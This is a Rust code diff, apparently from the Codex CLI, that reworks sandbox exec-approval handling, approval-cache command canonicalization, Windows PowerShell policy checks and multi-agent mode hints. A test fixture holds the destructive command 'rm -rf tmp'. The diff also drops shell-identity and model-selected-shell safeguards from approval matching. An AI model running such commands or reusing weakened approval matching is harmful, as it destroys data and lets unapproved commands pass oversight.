*parent_session.active_turn.lock().await = Some(crate::state::ActiveTurn::default()); + let mut parent_ctx = Arc::try_unwrap(parent_ctx).expect("single turn context ref"); + let mut config = (*parent_ctx.config).clone(); + config.approvals_reviewer = ApprovalsReviewer::User; + parent_ctx.config = Arc::new(config); + let parent_ctx = Arc::new(parent_ctx); + + let (tx_sub, rx_sub) = bounded(SUBMISSION_CHANNEL_CAPACITY); + let (_tx_events, rx_events_child) = bounded(SUBMISSION_CHANNEL_CAPACITY); + let (_agent_status_tx, agent_status) = watch::channel(AgentStatus::PendingInit); + let codex = Arc::new(Codex { + tx_sub, + rx_event: rx_events_child, + agent_status, + session: Arc::clone(&parent_session), + session_loop_termination: completed_session_loop_termination(), + }); + + let legacy_handle = tokio::spawn({ + let codex = Arc::clone(&codex); + let parent_session = Arc::clone(&parent_session); + let parent_ctx = Arc::clone(&parent_ctx); + async move { + let mut event = delegated_retry_exec_approval_event(); + event.call_id = "legacy-command-item".to_string(); + event.approval_id = None; + event.approval_purpose = None; + handle_exec_approval( + codex.as_ref(), + "legacy-child-turn".to_string(), + &parent_session, + &parent_ctx, + event, + &CancellationToken::new(), + ) + .await; + } + }); + let legacy_request = timeout(Duration::from_secs(1), rx_events.recv()) + .await + .expect("legacy exec approval event timed out") + .expect("legacy exec approval event missing"); + let EventMsg::ExecApprovalRequest(legacy_request) = legacy_request.msg else { + panic!("expected legacy ExecApprovalRequest event"); + }; + assert_eq!(legacy_request.call_id, "legacy-command-item"); + assert_eq!(legacy_request.approval_purpose, None); + parent_session + .notify_exec_approval("legacy-command-item", ReviewDecision::Approved) + .await; + timeout(Duration::from_secs(1), legacy_handle) + .await + .expect("legacy handle_exec_approval hung") + .expect("legacy handle_exec_approval join error"); + let legacy_submission = timeout(Duration::from_secs(1), rx_sub.recv()) + .await + .expect("legacy exec approval response timed out") + .expect("legacy exec approval response missing"); + assert_eq!( + legacy_submission.op, + Op::ExecApproval { + id: "legacy-command-item".to_string(), + turn_id: Some("legacy-child-turn".to_string()), + decision: ReviewDecision::Approved, + } + ); + + let cancel_token = CancellationToken::new(); + let handle = tokio::spawn({ + let codex = Arc::clone(&codex); + let parent_session = Arc::clone(&parent_session); + let parent_ctx = Arc::clone(&parent_ctx); + let cancel_token = cancel_token.clone(); + async move { + handle_exec_approval( + codex.as_ref(), + "child-turn-1".to_string(), + &parent_session, + &parent_ctx, + delegated_retry_exec_approval_event(), + &cancel_token, + ) + .await; + } + }); + + let request_event = timeout(Duration::from_secs(1), rx_events.recv()) + .await + .expect("exec approval event timed out") + .expect("exec approval event missing"); + let EventMsg::ExecApprovalRequest(request) = request_event.msg else { + panic!("expected ExecApprovalRequest event"); + }; + assert_eq!(request.call_id, "command-item-1"); + assert_eq!(request.approval_id.as_deref(), Some("retry-id")); + assert_eq!( + request.approval_purpose, + Some(ExecApprovalPurpose::SandboxRetry) + ); + + cancel_token.cancel(); + timeout(Duration::from_secs(1), handle) + .await + .expect("handle_exec_approval hung") + .expect("handle_exec_approval join error"); + + let submission = timeout(Duration::from_secs(1), rx_sub.recv()) + .await + .expect("exec cancellation response timed out") + .expect("exec cancellation response missing"); + assert_eq!( + submission.op, + Op::ExecApproval { + id: "retry-id".to_string(), + turn_id: Some("child-turn-1".to_string()), + decision: ReviewDecision::Abort, + } + ); + assert!( + parent_session + .take_pending_exec_approval("retry-id") + .await + .is_none(), + "exec cancellation must remove the matching retry waiter" + ); + + parent_session + .notify_exec_approval("retry-id", ReviewDecision::Approved) + .await; + assert!( + parent_session + .take_pending_exec_approval("retry-id") + .await + .is_none(), + "a late response must not recreate or resolve a cancelled retry waiter" + ); + assert!( + rx_sub.try_recv().is_err(), + "a late response must not produce another child approval response" + ); +} + +fn delegated_retry_exec_approval_event() -> ExecApprovalRequestEvent { + ExecApprovalRequestEvent { + call_id: "command-item-1".to_string(), + approval_id: Some("retry-id".to_string()), + approval_purpose: Some(ExecApprovalPurpose::SandboxRetry), + turn_id: "child-turn-1".to_string(), + environment_id: Some("remote".to_string()), + started_at_ms: 0, + command: vec!["rm".to_string(), "-rf".to_string(), "tmp".to_string()], + cwd: test_path_buf("/tmp").abs(), + reason: Some("unsafe subcommand".to_string()), + network_approval_context: None, + proposed_execpolicy_amendment: None, + proposed_network_policy_amendments: None, + additional_permissions: None, + available_decisions: Some(vec![ReviewDecision::Approved, ReviewDecision::Abort]), + parsed_cmd: Vec::new(), + } +} + +#[tokio::test] +async fn cancelling_delegated_patch_removes_the_patch_waiter() { + let (parent_session, parent_ctx, _rx_events) = + crate::session::tests::make_session_and_context_with_rx().await; + let approval_id = "delegated-patch-cancel"; + let decision_rx = parent_session + .request_patch_approval( + &parent_ctx, + approval_id.to_string(), + HashMap::new(), + /*reason*/ None, + /*grant_root*/ None, + ) + .await; + let cancel_token = CancellationToken::new(); + cancel_token.cancel(); + + let decision = await_approval_with_cancel( + async move { decision_rx.await.unwrap_or(ReviewDecision::Abort) }, + &parent_session, + approval_id, + &cancel_token, + /*review_cancel_token*/ None, + Some(PendingApprovalToCancel::Patch), + ) + .await; + + assert_eq!(decision, ReviewDecision::Abort); + assert!( + parent_session + .take_pending_patch_approval(approval_id) + .await + .is_none(), + "patch cancellation must remove the matching pending waiter" + ); +} + #[tokio::test] async fn delegated_mcp_guardian_abort_returns_synthetic_decline_answer() { let (parent_session, parent_ctx, _rx_events) = diff --git a/codex-rs/core/src/command_canonicalization.rs b/codex-rs/core/src/command_canonicalization.rs index 4f713c1971..fc110cf9de 100644 --- a/codex-rs/core/src/command_canonicalization.rs +++ b/codex-rs/core/src/command_canonicalization.rs @@ -1,41 +1,29 @@ use codex_shell_command::bash::extract_bash_command; use codex_shell_command::bash::parse_shell_lc_plain_commands; -use codex_shell_command::powershell::extract_powershell_command; const CANONICAL_BASH_SCRIPT_PREFIX: &str = "__codex_shell_script__"; -const CANONICAL_POWERSHELL_SCRIPT_PREFIX: &str = "__codex_powershell_script__"; /// Canonicalize command argv for approval-cache matching. /// -/// This keeps approval decisions stable across harmless whitespace changes in -/// parsed word-only shell scripts while preserving the executable and wrapper -/// arguments. They are part of the key because they take effect before the -/// script and can be attacker controlled. +/// Bash word-only scripts retain their historical inner-command identity. For +/// PowerShell, the executable, wrapper flags, and exact script are all part of +/// the key because each affects the authorization boundary. pub(crate) fn canonicalize_command_for_approval(command: &[String]) -> Vec { - if let Some((shell, script)) = extract_bash_command(command) { - let shell_mode = command.get(1).cloned().unwrap_or_default(); - if let Some(commands) = parse_shell_lc_plain_commands(command) - && let [single_command] = commands.as_slice() - { - let mut canonical_command = vec![shell.to_string(), shell_mode]; - canonical_command.extend(single_command.clone()); - return canonical_command; - } + if let Some(commands) = parse_shell_lc_plain_commands(command) + && let [single_command] = commands.as_slice() + { + return single_command.clone(); + } + if let Some((_shell, script)) = extract_bash_command(command) { + let shell_mode = command.get(1).cloned().unwrap_or_default(); return vec![ CANONICAL_BASH_SCRIPT_PREFIX.to_string(), - shell.to_string(), shell_mode, script.to_string(), ]; } - if extract_powershell_command(command).is_some() { - let mut canonical_command = vec![CANONICAL_POWERSHELL_SCRIPT_PREFIX.to_string()]; - canonical_command.extend(command.iter().cloned()); - return canonical_command; - } - command.to_vec() } diff --git a/codex-rs/core/src/command_canonicalization_tests.rs b/codex-rs/core/src/command_canonicalization_tests.rs index 3f0b4727f4..b6af11ee6d 100644 --- a/codex-rs/core/src/command_canonicalization_tests.rs +++ b/codex-rs/core/src/command_canonicalization_tests.rs @@ -1,8 +1,18 @@ use super::canonicalize_command_for_approval; use pretty_assertions::assert_eq; +use std::collections::HashSet; + +fn powershell(executable: &str, command_flag: &str, script: &str) -> Vec { + vec![ + executable.to_string(), + "-NoProfile".to_string(), + command_flag.to_string(), + script.to_string(), + ] +} #[test] -fn canonicalizes_word_only_shell_scripts_with_shell_identity() { +fn canonicalizes_word_only_shell_scripts_to_inner_command() { let command_a = vec![ "/bin/bash".to_string(), "-lc".to_string(), @@ -17,15 +27,13 @@ fn canonicalizes_word_only_shell_scripts_with_shell_identity() { assert_eq!( canonicalize_command_for_approval(&command_a), vec![ - "/bin/bash".to_string(), - "-lc".to_string(), "cargo".to_string(), "test".to_string(), "-p".to_string(), "codex-core".to_string(), ] ); - assert_ne!( + assert_eq!( canonicalize_command_for_approval(&command_a), canonicalize_command_for_approval(&command_b) ); @@ -45,89 +53,71 @@ fn canonicalizes_heredoc_scripts_to_stable_script_key() { canonicalize_command_for_approval(&command_a), vec![ "__codex_shell_script__".to_string(), - "/bin/zsh".to_string(), "-lc".to_string(), script.to_string(), ] ); - assert_ne!( + assert_eq!( canonicalize_command_for_approval(&command_a), canonicalize_command_for_approval(&command_b) ); } #[test] -fn canonicalizes_powershell_wrappers_to_stable_script_key() { - let script = "Write-Host hi"; - let command_a = vec![ - "powershell.exe".to_string(), - "-NoProfile".to_string(), - "-Command".to_string(), - script.to_string(), - ]; - let command_b = vec![ - "powershell".to_string(), - "-Command".to_string(), - script.to_string(), +fn preserves_exact_powershell_approval_identity() { + let base = powershell("C:/workspace/powershell.exe", "-Command", "Write-Host hi"); + let variants = [ + powershell("powershell.exe", "-Command", "Write-Host hi"), + powershell("C:/other/powershell.exe", "-Command", "Write-Host hi"), + powershell("C:/workspace/pwsh.exe", "-Command", "Write-Host hi"), + powershell("C:/workspace/powershell.exe", "-c", "Write-Host hi"), + powershell( + "C:/workspace/powershell.exe", + "-Command", + "Write-Host changed", + ), + powershell("C:/workspace/powershell.exe.", "-Command", "Write-Host hi"), + powershell("C:/workspace/powershell.exe ", "-Command", "Write-Host hi"), + powershell( + r"\\?\C:\workspace\powershell.exe.", + "-Command", + "Write-Host hi", + ), + powershell( + r"\\.\UNC\server\share\powershell.exe ", + "-Command", + "Write-Host hi", + ), ]; - assert_eq!( - canonicalize_command_for_approval(&command_a), - vec![ - "__codex_powershell_script__".to_string(), - "powershell.exe".to_string(), - "-NoProfile".to_string(), - "-Command".to_string(), - script.to_string(), - ] - ); - assert_ne!( - canonicalize_command_for_approval(&command_a), - canonicalize_command_for_approval(&command_b) - ); + let mut commands = vec![base]; + commands.extend(variants); + let keys: HashSet<_> = commands + .iter() + .map(|command| canonicalize_command_for_approval(command)) + .collect(); + + assert_eq!(keys.len(), commands.len()); + for command in commands { + assert_eq!(canonicalize_command_for_approval(&command), command); + } } #[test] -fn keeps_powershell_profile_flags_in_approval_keys() { - let script = "Get-ChildItem"; - let no_profile = vec![ - "powershell.exe".to_string(), - "-NoProfile".to_string(), - "-Command".to_string(), - script.to_string(), - ]; - let with_profile = vec![ +fn powershell_identity_does_not_collide_with_raw_marker_argv() { + let powershell = vec![ "powershell.exe".to_string(), "-Command".to_string(), - script.to_string(), + "Write-Host hi".to_string(), ]; + let mut marker_argv = vec!["__codex_powershell_script__".to_string()]; + marker_argv.extend(powershell.iter().cloned()); + assert_eq!(canonicalize_command_for_approval(&powershell), powershell); + assert_eq!(canonicalize_command_for_approval(&marker_argv), marker_argv); assert_ne!( - canonicalize_command_for_approval(&no_profile), - canonicalize_command_for_approval(&with_profile) - ); -} - -#[test] -fn keeps_relative_and_absolute_fake_shells_in_distinct_approval_keys() { - let relative = vec!["./zsh".to_string(), "-c".to_string(), "ls".to_string()]; - let absolute = vec![ - "/tmp/workspace/zsh".to_string(), - "-c".to_string(), - "ls".to_string(), - ]; - - assert_eq!( - canonicalize_command_for_approval(&relative), - vec!["./zsh", "-c", "ls"] - ); - assert_eq!( - canonicalize_command_for_approval(&absolute), - vec!["/tmp/workspace/zsh", "-c", "ls"] - ); - assert_ne!( - canonicalize_command_for_approval(&relative), - canonicalize_command_for_approval(&absolute) + canonicalize_command_for_approval(&powershell), + canonicalize_command_for_approval(&marker_argv) ); } diff --git a/codex-rs/core/src/config/config_tests.rs b/codex-rs/core/src/config/config_tests.rs index c344475541..6156b9b9ea 100644 --- a/codex-rs/core/src/config/config_tests.rs +++ b/codex-rs/core/src/config/config_tests.rs @@ -10307,6 +10307,7 @@ default_wait_timeout_ms = 30000 usage_hint_text = "Custom delegation guidance." root_agent_usage_hint_text = "Root guidance." subagent_usage_hint_text = "Subagent guidance." +multi_agent_mode_hint_text = "Custom mode guidance." tool_namespace = "agents" hide_spawn_agent_metadata = true non_code_mode_only = true @@ -10343,6 +10344,10 @@ non_code_mode_only = true config.multi_agent_v2.subagent_usage_hint_text.as_deref(), Some("Subagent guidance.") ); + assert_eq!( + config.multi_agent_v2.multi_agent_mode_hint_text.as_deref(), + Some("Custom mode guidance.") + ); assert_eq!( config.multi_agent_v2.tool_namespace.as_deref(), Some("agents") @@ -10405,6 +10410,22 @@ max_concurrent_threads_per_session = 17 ); } +#[test] +fn multi_agent_v2_preserves_empty_mode_hint_override() { + let config_toml = toml::from_str( + r#"[features.multi_agent_v2] +multi_agent_mode_hint_text = "" +"#, + ) + .expect("multi-agent v2 config should parse"); + + let expected = MultiAgentV2Config { + multi_agent_mode_hint_text: Some(String::new()), + ..Default::default() + }; + assert_eq!(resolve_multi_agent_v2_config(&config_toml), expected); +} + #[tokio::test] async fn multi_agent_v2_empty_usage_hint_overrides_clear_default_hints() -> std::io::Result<()> { let codex_home = TempDir::new()?; diff --git a/codex-rs/core/src/config/mod.rs b/codex-rs/core/src/config/mod.rs index d90d010102..e29cb3875c 100644 --- a/codex-rs/core/src/config/mod.rs +++ b/codex-rs/core/src/config/mod.rs @@ -1144,6 +1144,7 @@ pub struct MultiAgentV2Config { pub usage_hint_text: Option, pub root_agent_usage_hint_text: Option, pub subagent_usage_hint_text: Option, + pub multi_agent_mode_hint_text: Option, pub tool_namespace: Option, pub hide_spawn_agent_metadata: bool, pub non_code_mode_only: bool, @@ -1165,6 +1166,7 @@ impl MultiAgentV2Config { DEFAULT_MULTI_AGENT_V2_SUBAGENT_USAGE_HINT_TEXT, max_concurrent_threads_per_session, )), + multi_agent_mode_hint_text: None, tool_namespace: Some(DEFAULT_MULTI_AGENT_V2_TOOL_NAMESPACE.to_string()), hide_spawn_agent_metadata: true, non_code_mode_only: true, @@ -2501,6 +2503,10 @@ fn resolve_multi_agent_v2_config(config_toml: &ConfigToml) -> MultiAgentV2Config base.map(|config| &config.subagent_usage_hint_text), default.subagent_usage_hint_text, ); + let multi_agent_mode_hint_text = base + .and_then(|config| config.multi_agent_mode_hint_text.as_ref()) + .cloned() + .or(default.multi_agent_mode_hint_text); let tool_namespace = base .and_then(|config| config.tool_namespace.as_ref()) .cloned() @@ -2520,6 +2526,7 @@ fn resolve_multi_agent_v2_config(config_toml: &ConfigToml) -> MultiAgentV2Config usage_hint_text, root_agent_usage_hint_text, subagent_usage_hint_text, + multi_agent_mode_hint_text, tool_namespace, hide_spawn_agent_metadata, non_code_mode_only, diff --git a/codex-rs/core/src/context/multi_agent_mode_instructions.rs b/codex-rs/core/src/context/multi_agent_mode_instructions.rs index ff471967ca..9c8f5ad5ed 100644 --- a/codex-rs/core/src/context/multi_agent_mode_instructions.rs +++ b/codex-rs/core/src/context/multi_agent_mode_instructions.rs @@ -4,7 +4,6 @@ use codex_protocol::protocol::MULTI_AGENT_MODE_CLOSE_TAG; use codex_protocol::protocol::MULTI_AGENT_MODE_OPEN_TAG; const EXPLICIT_REQUEST_ONLY_MULTI_AGENT_MODE_TEXT: &str = "Do not spawn sub-agents unless the user or applicable AGENTS.md/skill instructions explicitly ask for sub-agents, delegation, or parallel agent work."; -const NO_MULTI_AGENT_MODE_TEXT: &str = "Multi-agent delegation mode instructions are inactive. Any earlier multi-agent mode developer message no longer applies."; const PROACTIVE_MULTI_AGENT_MODE_TEXT: &str = "Proactive multi-agent delegation is active. Any earlier instruction requiring an explicit user request before spawning sub-agents no longer applies. Use sub-agents when parallel work would materially improve speed or quality. This mode remains active until a later multi-agent mode developer message changes it."; #[derive(Debug, Clone, PartialEq, Eq)] @@ -32,8 +31,8 @@ impl ContextualUserFragment for MultiAgentModeInstructions { } fn body(&self) -> String { - match self.multi_agent_mode { - MultiAgentMode::None => NO_MULTI_AGENT_MODE_TEXT.to_string(), + match &self.multi_agent_mode { + MultiAgentMode::Custom(hint_text) => hint_text.clone(), MultiAgentMode::ExplicitRequestOnly => { EXPLICIT_REQUEST_ONLY_MULTI_AGENT_MODE_TEXT.to_string() } diff --git a/codex-rs/core/src/context_manager/updates.rs b/codex-rs/core/src/context_manager/updates.rs index 5e81bc2a7d..a520e6f595 100644 --- a/codex-rs/core/src/context_manager/updates.rs +++ b/codex-rs/core/src/context_manager/updates.rs @@ -85,9 +85,6 @@ fn build_multi_agent_mode_update_item( } match effective_multi_agent_mode { - Some(MultiAgentMode::None) => { - Some(MultiAgentModeInstructions::new(MultiAgentMode::None).render()) - } Some(multi_agent_mode) => Some(MultiAgentModeInstructions::new(multi_agent_mode).render()), None if previous.multi_agent_mode == Some(MultiAgentMode::Proactive) => { Some(MultiAgentModeInstructions::new(MultiAgentMode::ExplicitRequestOnly).render()) diff --git a/codex-rs/core/src/exec_policy.rs b/codex-rs/core/src/exec_policy.rs index b3c73764ff..54afe95668 100644 --- a/codex-rs/core/src/exec_policy.rs +++ b/codex-rs/core/src/exec_policy.rs @@ -35,13 +35,16 @@ use tracing::instrument; use crate::config::Config; use crate::sandboxing::SandboxPermissions; use crate::tools::sandboxing::ExecApprovalRequirement; -use codex_shell_command::bash::extract_bash_command; +use crate::tools::sandboxing::unsandboxed_execution_allowed; use codex_shell_command::bash::parse_shell_lc_plain_commands; use codex_shell_command::bash::parse_shell_lc_single_command_prefix; -use codex_shell_command::powershell::extract_powershell_command; use codex_utils_absolute_path::AbsolutePathBuf; use shlex::try_join as shlex_try_join; +#[cfg(windows)] +#[path = "exec_policy_powershell.rs"] +mod powershell_policy; + const PROMPT_CONFLICT_REASON: &str = "approval required by policy, but AskForApproval is set to Never"; const REJECT_SANDBOX_APPROVAL_REASON: &str = @@ -112,9 +115,6 @@ static BANNED_PREFIX_SUGGESTIONS: &[&[&str]] = &[ pub(crate) enum ExecPolicyCommandOrigin { /// Use the generic unmatched-command heuristics. Generic, - /// A shell executable path came from model-controlled command input. The - /// inner argv cannot confer trust on the outer executable. - PathQualifiedShell, #[cfg(windows)] /// The command words came from the `-Command` body of a top-level /// PowerShell wrapper, so use PowerShell-specific unmatched-command @@ -170,28 +170,49 @@ fn is_policy_match(rule_match: &RuleMatch) -> bool { } } +#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)] +struct PromptCauses { + rules: bool, + sandbox: bool, +} + +fn prompt_causes(matched_rules: &[RuleMatch]) -> PromptCauses { + matched_rules + .iter() + .fold(PromptCauses::default(), |mut causes, rule_match| { + match rule_match { + RuleMatch::PrefixRuleMatch { + decision: Decision::Prompt, + .. + } => causes.rules = true, + RuleMatch::HeuristicsRuleMatch { + decision: Decision::Prompt, + .. + } => causes.sandbox = true, + RuleMatch::PrefixRuleMatch { .. } | RuleMatch::HeuristicsRuleMatch { .. } => {} + } + causes + }) +} + /// Returns a rejection reason when `approval_policy` disallows surfacing the /// current prompt to the user. /// -/// `prompt_is_rule` distinguishes policy-rule prompts from sandbox/escalation -/// prompts so granular `rules` and `sandbox_approval` settings are honored -/// independently. When both are present, policy-rule prompts take precedence. -pub(crate) fn prompt_is_rejected_by_policy( +/// `causes` retains every represented policy-rule and sandbox/escalation +/// category so granular settings are honored independently. When both are +/// present and disabled, policy-rule prompts take precedence. +fn prompt_is_rejected_by_policy( approval_policy: AskForApproval, - prompt_is_rule: bool, + causes: PromptCauses, ) -> Option<&'static str> { match approval_policy { AskForApproval::Never => Some(PROMPT_CONFLICT_REASON), AskForApproval::OnRequest => None, AskForApproval::UnlessTrusted => None, AskForApproval::Granular(granular_config) => { - if prompt_is_rule { - if !granular_config.allows_rules_approval() { - Some(REJECT_RULES_APPROVAL_REASON) - } else { - None - } - } else if !granular_config.allows_sandbox_approval() { + if causes.rules && !granular_config.allows_rules_approval() { + Some(REJECT_RULES_APPROVAL_REASON) + } else if causes.sandbox && !granular_config.allows_sandbox_approval() { Some(REJECT_SANDBOX_APPROVAL_REASON) } else { None @@ -241,16 +262,6 @@ pub(crate) struct ExecPolicyManager { update_lock: Semaphore, } -#[derive(Clone, Copy, Debug, Eq, PartialEq)] -pub(crate) enum ExecPolicyInputSource { - /// The wrapper was selected by Codex from the user's configured shell. - Configured, - /// The model selected a shell by an unqualified executable name. - ModelSelectedBare, - /// The model selected a path-qualified shell executable. - ModelSelectedPath, -} - pub(crate) struct ExecApprovalRequest<'a> { pub(crate) command: &'a [String], pub(crate) approval_policy: AskForApproval, @@ -258,7 +269,6 @@ pub(crate) struct ExecApprovalRequest<'a> { pub(crate) windows_sandbox_level: WindowsSandboxLevel, pub(crate) sandbox_permissions: SandboxPermissions, pub(crate) prefix_rule: Option>, - pub(crate) input_source: ExecPolicyInputSource, } impl ExecPolicyManager { @@ -293,24 +303,58 @@ impl ExecPolicyManager { windows_sandbox_level, sandbox_permissions, prefix_rule, - input_source, } = req; let exec_policy = self.current(); + #[cfg(windows)] + let (parsed_powershell, powershell_outer_authority) = + match powershell_policy::prepare(command) { + Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) => { + return requirement; + } + Some(powershell_policy::PreparedPowerShell::Parsed(parsed)) => { + if let Some(outer_argv) = parsed.untrusted_outer_argv() { + return create_untrusted_powershell_approval_requirement( + exec_policy.as_ref(), + outer_argv, + parsed.commands(), + UnmatchedCommandContext { + approval_policy, + permission_profile: &permission_profile, + windows_sandbox_level, + sandbox_permissions, + used_complex_parsing: false, + command_origin: ExecPolicyCommandOrigin::PowerShell, + }, + ); + } + (Some(parsed), true) + } + Some(powershell_policy::PreparedPowerShell::Unsupported) => (None, true), + None => (None, false), + }; + #[cfg(windows)] + let exec_policy_commands = if let Some(parsed) = parsed_powershell.as_ref() { + ExecPolicyCommands { + commands: parsed.commands().to_vec(), + used_complex_parsing: false, + command_origin: ExecPolicyCommandOrigin::PowerShell, + } + } else { + commands_for_exec_policy(command) + }; + #[cfg(not(windows))] + let exec_policy_commands = commands_for_exec_policy(command); + #[cfg(not(windows))] + let powershell_outer_authority = false; let ExecPolicyCommands { commands, used_complex_parsing, command_origin, - } = commands_for_exec_policy(command, input_source); - let contains_path_qualified_shell = commands - .iter() - .any(|command| path_qualified_shell_wrapper(command)); + } = exec_policy_commands; // Keep heredoc prefix parsing for rule evaluation so existing // allow/prompt/forbidden rules still apply, but avoid auto-derived // amendments when only the heredoc fallback parser matched. - let auto_amendment_allowed = !used_complex_parsing - && !contains_path_qualified_shell - && !sandbox_permissions.requests_sandbox_override() - && input_source == ExecPolicyInputSource::Configured; + let auto_amendment_allowed = !used_complex_parsing; let exec_policy_fallback = |cmd: &[String]| { render_decision_for_unmatched_command( cmd, @@ -327,13 +371,78 @@ impl ExecPolicyManager { let match_options = MatchOptions { resolve_host_executables: true, }; - let evaluation = exec_policy.check_multiple_with_options( + let parsed_powershell_outer = powershell_outer_authority.then_some(command); + let mut evaluation = exec_policy.check_multiple_with_options( commands.iter(), &exec_policy_fallback, &match_options, ); + let outer_matches = parsed_powershell_outer + .map(|outer| { + exec_policy.matches_for_command_with_options( + outer, + /*heuristics_fallback*/ None, + &match_options, + ) + }) + .unwrap_or_default(); + let outer_allow = outer_matches.iter().any(|rule_match| { + matches!( + rule_match, + RuleMatch::PrefixRuleMatch { + decision: Decision::Allow, + .. + } + ) + }); + let exact_outer_allow = parsed_powershell_outer.is_some_and(|outer| { + outer_matches.iter().any(|rule_match| { + matches!( + rule_match, + RuleMatch::PrefixRuleMatch { + matched_prefix, + decision: Decision::Allow, + .. + } if matched_prefix.len() == outer.len() + ) + }) + }); + evaluation.matched_rules.extend(outer_matches); + evaluation.decision = evaluation + .matched_rules + .iter() + .filter(|rule_match| !outer_allow || is_policy_match(rule_match)) + .map(RuleMatch::decision) + .max() + .unwrap_or(Decision::Forbidden); - let requested_amendment = if auto_amendment_allowed { + let permission_delta_requires_outer = + permission_delta_requires_outer_authority(&permission_profile, sandbox_permissions); + let parsed_powershell_needs_outer_approval = parsed_powershell_outer.is_some() + && !exact_outer_allow + && (permission_delta_requires_outer + || missing_managed_windows_sandbox_backend( + &permission_profile, + windows_sandbox_level, + )); + if evaluation.decision != Decision::Forbidden && parsed_powershell_needs_outer_approval { + evaluation + .matched_rules + .push(RuleMatch::HeuristicsRuleMatch { + command: command.to_vec(), + decision: Decision::Prompt, + }); + evaluation.decision = evaluation + .matched_rules + .iter() + .map(RuleMatch::decision) + .max() + .unwrap_or(Decision::Forbidden); + } + + let requested_amendment = if parsed_powershell_outer.is_some() { + None + } else if auto_amendment_allowed { derive_requested_execpolicy_amendment_from_prefix_rule( prefix_rule.as_ref(), &evaluation.matched_rules, @@ -351,43 +460,56 @@ impl ExecPolicyManager { reason: derive_forbidden_reason(command, &evaluation), }, Decision::Prompt => { - let prompt_is_rule = evaluation.matched_rules.iter().any(|rule_match| { - is_policy_match(rule_match) && rule_match.decision() == Decision::Prompt - }); - match prompt_is_rejected_by_policy(approval_policy, prompt_is_rule) { + let causes = prompt_causes(&evaluation.matched_rules); + match prompt_is_rejected_by_policy(approval_policy, causes) { Some(reason) => ExecApprovalRequirement::Forbidden { reason: reason.to_string(), }, None => ExecApprovalRequirement::NeedsApproval { reason: derive_prompt_reason(command, &evaluation), proposed_execpolicy_amendment: requested_amendment.or_else(|| { - if auto_amendment_allowed { - try_derive_execpolicy_amendment_for_prompt_rules( - &evaluation.matched_rules, - ) - } else { - None + match ( + parsed_powershell_outer, + causes.rules, + auto_amendment_allowed, + ) { + (Some(outer), false, _) => { + Some(ExecPolicyAmendment::new(outer.to_vec())) + } + (None, _, true) => { + try_derive_execpolicy_amendment_for_prompt_rules( + &evaluation.matched_rules, + ) + } + _ => None, } }), }, } } Decision::Allow => ExecApprovalRequirement::Skip { - // Bypass sandbox only when every parsed command segment is - // explicitly allowed by execpolicy. - bypass_sandbox: commands.iter().all(|command| { - exec_policy - .matches_for_command_with_options( - command, - /*heuristics_fallback*/ None, - &match_options, - ) - .iter() - .any(|rule_match| { - is_policy_match(rule_match) && rule_match.decision() == Decision::Allow - }) - }), - proposed_execpolicy_amendment: if auto_amendment_allowed { + // Lowered PowerShell command names do not bind runtime module, profile, or PATH + // resolution. Only an exact full-wrapper Allow may authorize sandbox bypass. + bypass_sandbox: if parsed_powershell_outer.is_some() { + exact_outer_allow + } else { + commands.iter().all(|command| { + exec_policy + .matches_for_command_with_options( + command, + /*heuristics_fallback*/ None, + &match_options, + ) + .iter() + .any(|rule_match| { + is_policy_match(rule_match) + && rule_match.decision() == Decision::Allow + }) + }) + }, + proposed_execpolicy_amendment: if let Some(outer) = parsed_powershell_outer { + (!exact_outer_allow).then(|| ExecPolicyAmendment::new(outer.to_vec())) + } else if auto_amendment_allowed { try_derive_execpolicy_amendment_for_allow_rules(&evaluation.matched_rules) } else { None @@ -493,6 +615,130 @@ impl ExecPolicyManager { } } +#[cfg(windows)] +fn create_untrusted_powershell_approval_requirement( + exec_policy: &Policy, + outer_argv: &[String], + commands: &[Vec], + context: UnmatchedCommandContext<'_>, +) -> ExecApprovalRequirement { + let match_options = MatchOptions { + resolve_host_executables: true, + }; + let inner_fallback = + |command: &[String]| render_decision_for_unmatched_command(command, context); + + let mut matched_rules = Vec::new(); + let mut every_inner_explicit_allow = !commands.is_empty(); + for command in commands { + let inner_matches = exec_policy.matches_for_command_with_options( + command, + Some(&inner_fallback), + &match_options, + ); + every_inner_explicit_allow &= !command.is_empty() + && inner_matches.iter().any(|rule_match| { + matches!( + rule_match, + RuleMatch::PrefixRuleMatch { + decision: Decision::Allow, + .. + } + ) + }); + matched_rules.extend(inner_matches); + } + + let outer_fallback = |_command: &[String]| match context.approval_policy { + AskForApproval::Never => Decision::Forbidden, + AskForApproval::OnRequest | AskForApproval::UnlessTrusted | AskForApproval::Granular(_) => { + Decision::Prompt + } + }; + matched_rules.extend( + exec_policy + .matches_for_command_with_restrictive_host_rules(outer_argv, Some(&outer_fallback)), + ); + + let raw_match_options = MatchOptions { + resolve_host_executables: false, + }; + let raw_full_outer_allow = exec_policy + .matches_for_command_with_options( + outer_argv, + /*heuristics_fallback*/ None, + &raw_match_options, + ) + .iter() + .any(|rule_match| { + matches!( + rule_match, + RuleMatch::PrefixRuleMatch { + matched_prefix, + decision: Decision::Allow, + .. + } if matched_prefix.len() == outer_argv.len() + ) + }); + let composed_full_authority = raw_full_outer_allow && every_inner_explicit_allow; + + let mut evaluation = Evaluation { + decision: matched_rules + .iter() + .map(RuleMatch::decision) + .max() + .unwrap_or(Decision::Forbidden), + matched_rules, + }; + let permission_or_backend_gate = permission_delta_requires_outer_authority( + context.permission_profile, + context.sandbox_permissions, + ) || missing_managed_windows_sandbox_backend( + context.permission_profile, + context.windows_sandbox_level, + ); + if evaluation.decision != Decision::Forbidden + && permission_or_backend_gate + && !composed_full_authority + { + evaluation + .matched_rules + .push(RuleMatch::HeuristicsRuleMatch { + command: outer_argv.to_vec(), + decision: Decision::Prompt, + }); + evaluation.decision = evaluation + .matched_rules + .iter() + .map(RuleMatch::decision) + .max() + .unwrap_or(Decision::Forbidden); + } + + match evaluation.decision { + Decision::Forbidden => ExecApprovalRequirement::Forbidden { + reason: derive_forbidden_reason(outer_argv, &evaluation), + }, + Decision::Prompt => { + match prompt_is_rejected_by_policy( + context.approval_policy, + prompt_causes(&evaluation.matched_rules), + ) { + Some(reason) => ExecApprovalRequirement::Forbidden { + reason: reason.to_string(), + }, + None => ExecApprovalRequirement::NeedsOneShotApproval { + reason: derive_prompt_reason(outer_argv, &evaluation), + }, + } + } + Decision::Allow => ExecApprovalRequirement::Skip { + bypass_sandbox: composed_full_authority, + proposed_execpolicy_amendment: None, + }, + } +} + impl Default for ExecPolicyManager { fn default() -> Self { Self::new(Arc::new(Policy::empty())) 